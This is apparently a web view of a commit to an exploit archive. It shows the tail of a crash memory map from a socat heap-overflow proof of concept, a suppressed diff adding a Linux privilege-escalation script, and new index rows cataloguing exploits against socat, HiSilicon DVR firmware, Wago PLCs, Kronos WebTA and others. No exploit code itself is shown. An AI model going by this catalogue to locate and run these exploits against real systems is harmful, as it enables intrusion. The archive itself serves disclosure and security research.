/lib/x86_64-linux-gnu/libpthread-2.23.so
|
||||
7fc0ee305000-7fc0ee504000 ---p 00018000 08:01 397909
|
||||
/lib/x86_64-linux-gnu/libpthread-2.23.so
|
||||
7fc0ee504000-7fc0ee505000 r--p 00017000 08:01 397909
|
||||
/lib/x86_64-linux-gnu/libpthread-2.23.so
|
||||
7fc0ee505000-7fc0ee506000 rw-p 00018000 08:01 397909
|
||||
/lib/x86_64-linux-gnu/libpthread-2.23.so
|
||||
7fc0ee506000-7fc0ee50a000 rw-p 00000000 00:00 0
|
||||
7fc0ee50a000-7fc0ee6ca000 r-xp 00000000 08:01 397763
|
||||
/lib/x86_64-linux-gnu/libc-2.23.so
|
||||
7fc0ee6ca000-7fc0ee8ca000 ---p 001c0000 08:01 397763
|
||||
/lib/x86_64-linux-gnu/libc-2.23.so
|
||||
7fc0ee8ca000-7fc0ee8ce000 r--p 001c0000 08:01 397763
|
||||
/lib/x86_64-linux-gnu/libc-2.23.so
|
||||
7fc0ee8ce000-7fc0ee8d0000 rw-p 001c4000 08:01 397763
|
||||
/lib/x86_64-linux-gnu/libc-2.23.so
|
||||
7fc0ee8d0000-7fc0ee8d4000 rw-p 00000000 00:00 0
|
||||
7fc0ee8d4000-7fc0eeaef000 r-xp 00000000 08:01 397619
|
||||
/lib/x86_64-linux-gnu/libcrypto.so.1.0.0
|
||||
7fc0eeaef000-7fc0eecee000 ---p 0021b000 08:01 397619
|
||||
/lib/x86_64-linux-gnu/libcrypto.so.1.0.0
|
||||
7fc0eecee000-7fc0eed0a000 r--p 0021a000 08:01 397619
|
||||
/lib/x86_64-linux-gnu/libcrypto.so.1.0.0
|
||||
7fc0eed0a000-7fc0eed16000 rw-p 00236000 08:01 397619
|
||||
/lib/x86_64-linux-gnu/libcrypto.so.1.0.0
|
||||
7fc0eed16000-7fc0eed19000 rw-p 00000000 00:00 0
|
||||
7fc0eed19000-7fc0eed77000 r-xp 00000000 08:01 397620
|
||||
/lib/x86_64-linux-gnu/libssl.so.1.0.0
|
||||
7fc0eed77000-7fc0eef77000 ---p 0005e000 08:01 397620
|
||||
/lib/x86_64-linux-gnu/libssl.so.1.0.0
|
||||
7fc0eef77000-7fc0eef7b000 r--p 0005e000 08:01 397620
|
||||
/lib/x86_64-linux-gnu/libssl.so.1.0.0
|
||||
7fc0eef7b000-7fc0eef82000 rw-p 00062000 08:01 397620
|
||||
/lib/x86_64-linux-gnu/libssl.so.1.0.0
|
||||
7fc0eef82000-7fc0eef84000 r-xp 00000000 08:01 397944
|
||||
/lib/x86_64-linux-gnu/libutil-2.23.so
|
||||
7fc0eef84000-7fc0ef183000 ---p 00002000 08:01 397944
|
||||
/lib/x86_64-linux-gnu/libutil-2.23.so
|
||||
7fc0ef183000-7fc0ef184000 r--p 00001000 08:01 397944
|
||||
/lib/x86_64-linux-gnu/libutil-2.23.so
|
||||
7fc0ef184000-7fc0ef185000 rw-p 00002000 08:01 397944
|
||||
/lib/x86_64-linux-gnu/libutil-2.23.so
|
||||
7fc0ef185000-7fc0ef18c000 r-xp 00000000 08:01 397917
|
||||
/lib/x86_64-linux-gnu/librt-2.23.so
|
||||
7fc0ef18c000-7fc0ef38b000 ---p 00007000 08:01 397917
|
||||
/lib/x86_64-linux-gnu/librt-2.23.so
|
||||
7fc0ef38b000-7fc0ef38c000 r--p 00006000 08:01 397917
|
||||
/lib/x86_64-linux-gnu/librt-2.23.so
|
||||
7fc0ef38c000-7fc0ef38d000 rw-p 00007000 08:01 397917
|
||||
/lib/x86_64-linux-gnu/librt-2.23.so
|
||||
7fc0ef38d000-7fc0ef3b3000 r-xp 00000000 08:01 397735
|
||||
/lib/x86_64-linux-gnu/ld-2.23.so
|
||||
7fc0ef594000-7fc0ef59a000 rw-p 00000000 00:00 0
|
||||
7fc0ef5b1000-7fc0ef5b2000 rw-p 00000000 00:00 0
|
||||
7fc0ef5b2000-7fc0ef5b3000 r--p 00025000 08:01 397735
|
||||
/lib/x86_64-linux-gnu/ld-2.23.so
|
||||
7fc0ef5b3000-7fc0ef5b4000 rw-p 00026000 08:01 397735
|
||||
/lib/x86_64-linux-gnu/ld-2.23.so
|
||||
7fc0ef5b4000-7fc0ef5b5000 rw-p 00000000 00:00 0
|
||||
7ffe11dd9000-7ffe11dfa000 rw-p 00000000 00:00 0
|
||||
[stack]
|
||||
7ffe11dfb000-7ffe11dfe000 r--p 00000000 00:00 0
|
||||
[vvar]
|
||||
7ffe11dfe000-7ffe11e00000 r-xp 00000000 00:00 0
|
||||
[vdso]
|
||||
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0
|
||||
[vsyscall]
|
||||
2020/02/04 05:33:00 socat[47233] E exiting on signal 6
|
||||
3684
exploits/linux/local/48000.sh
Executable file
3684
exploits/linux/local/48000.sh
Executable file
File diff suppressed because it is too large
Load diff
|
|
@ -10926,6 +10926,8 @@ id,file,description,date,author,type,platform,port
|
|||
47974,exploits/windows/local/47974.txt,"XMLBlueprint 16.191112 - XML External Entity Injection",2020-01-29,"Javier Olmedo",local,windows,
|
||||
47975,exploits/windows/local/47975.c,"Microsoft Windows 10 - Theme API 'ThemePack' File Parsing",2020-01-29,"Eduardo Braun Prado",local,windows,
|
||||
47995,exploits/linux/local/47995.txt,"Sudo 1.8.25p - Buffer Overflow",2020-02-04,"Joe Vennix",local,linux,
|
||||
47999,exploits/linux/local/47999.txt,"Socat 1.7.3.4 - Heap-Based Overflow (PoC)",2020-02-05,hieubl,local,linux,
|
||||
48000,exploits/linux/local/48000.sh,"xglance-bin 11.00 - Privilege Escalation",2020-02-05,redtimmysec,local,linux,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
|
@ -17957,6 +17959,7 @@ id,file,description,date,author,type,platform,port
|
|||
47936,exploits/hardware/remote/47936.js,"Sagemcom F@ST 3890 (50_10_19-T1) Cable Modem - 'Cable Haunt' Remote Code Execution",2020-01-15,Lyrebirds,remote,hardware,
|
||||
47956,exploits/linux/remote/47956.py,"Pachev FTP Server 1.0 - Path Traversal",2020-01-23,1F98D,remote,linux,21
|
||||
47984,exploits/linux/remote/47984.py,"OpenSMTPD 6.6.2 - Remote Code Execution",2020-01-30,1F98D,remote,linux,
|
||||
48004,exploits/hardware/remote/48004.c,"HiSilicon DVR/NVR hi3520d firmware - Remote Backdoor Account",2020-02-05,Snawoot,remote,hardware,
|
||||
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
||||
|
|
@ -42292,3 +42295,8 @@ id,file,description,date,author,type,platform,port
|
|||
47992,exploits/php/webapps/47992.txt,"School ERP System 1.0 - Cross Site Request Forgery (Add Admin)",2020-02-03,J3rryBl4nks,webapps,php,
|
||||
47994,exploits/php/webapps/47994.rb,"Centreon 19.10.5 - 'Pollers' Remote Command Execution (Metasploit)",2020-02-04,mekhalleh,webapps,php,
|
||||
47996,exploits/linux/webapps/47996.py,"F-Secure Internet Gatekeeper 5.40 - Heap Overflow (PoC)",2020-02-04,"Kevin Joensen",webapps,linux,
|
||||
47997,exploits/json/webapps/47997.txt,"AVideo Platform 8.1 - Information Disclosure (User Enumeration)",2020-02-05,"Ihsan Sencan",webapps,json,
|
||||
47998,exploits/hardware/webapps/47998.rb,"Wago PFC200 - Authenticated Remote Code Execution (Metasploit)",2020-02-05,0x483d,webapps,hardware,
|
||||
48001,exploits/java/webapps/48001.py,"Kronos WebTA 4.0 - Authenticated Remote Privilege Escalation",2020-02-05,nxkennedy,webapps,java,
|
||||
48002,exploits/json/webapps/48002.py,"Verodin Director Web Console 3.5.4.0 - Remote Authenticated Password Disclosure (PoC)",2020-02-05,nxkennedy,webapps,json,
|
||||
48003,exploits/json/webapps/48003.txt,"AVideo Platform 8.1 - Cross Site Request Forgery (Password Reset)",2020-02-05,"Ihsan Sencan",webapps,json,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue